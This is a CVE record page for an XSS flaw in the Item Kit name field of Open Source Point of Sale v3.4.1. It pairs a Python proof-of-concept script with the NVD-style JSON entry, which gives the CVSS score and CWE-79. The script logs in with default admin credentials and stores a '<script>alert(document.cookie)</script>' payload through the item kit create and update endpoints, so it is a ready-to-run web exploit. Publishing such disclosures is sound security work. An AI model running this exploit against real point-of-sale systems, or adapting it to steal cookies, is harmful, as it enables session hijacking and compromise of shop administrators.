CVE-2025-66924

import requests import re # CVE-2025-66924 XSS PoC for Open Source Point of Sale v3.4.1 # Target: Open Source Point of Sale # Module: Create/Update Item Kit(s) # Parameter: name TARGET_URL = "http://target.com/opensourcepos" USERNAME = "admin" PASSWORD = "admin" session = requests.Session() # Step 1: Login to get authenticated session login_url = f"{TARGET_URL}/login" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) # Check if login successful if "login" not in response.url.lower(): print("[+] Login successful") else: print("[-] Login failed") exit() # Step 2: Create malicious Item Kit with XSS payload in name parameter create_kit_url = f"{TARGET_URL}/item_kits/save" xss_payload = '<script>alert(document.cookie)</script>' kit_data = { "name": xss_payload, "description": "Test Kit", "category_id": 1, "unit_price": 10.00 } response = session.post(create_kit_url, data=kit_data) if response.status_code == 200: print(f"[+] XSS payload submitted: {xss_payload}") print("[+] Payload will execute when admin views Item Kit list") else: print("[-] Failed to submit payload") # Alternative: Update existing Item Kit update_url = f"{TARGET_URL}/item_kits/save/1" response = session.post(update_url, data=kit_data) print("[+] Item Kit updated with XSS payload")

{"cve": {"id": "CVE-2025-66924", "sourceIdentifier": "[email protected]", "published": "2025-12-17T18:15:49.100", "lastModified": "2025-12-18T19:52:51.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Cross-site scripting (XSS) vulnerability in Create/Update Item Kit(s) in Open Source Point of Sale v3.4.1 allows remote attackers to inject arbitrary web script or HTML via the \"name\" parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opensourcepos:open_source_point_of_sale:3.4.1:*:*:*:*:*:*:*", "matchCriteriaId": "8EC6C4DB-C7B4-46A5-9479-851918C55014"}]}]}], "references": [{"url": "https://github.com/omkaryepre/vulnerability-research/blob/main/CVE-2025-66924/readme.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/opensourcepos/opensourcepos", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/omkaryepre/vulnerability-research/blob/main/CVE-2025-66924/readme.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}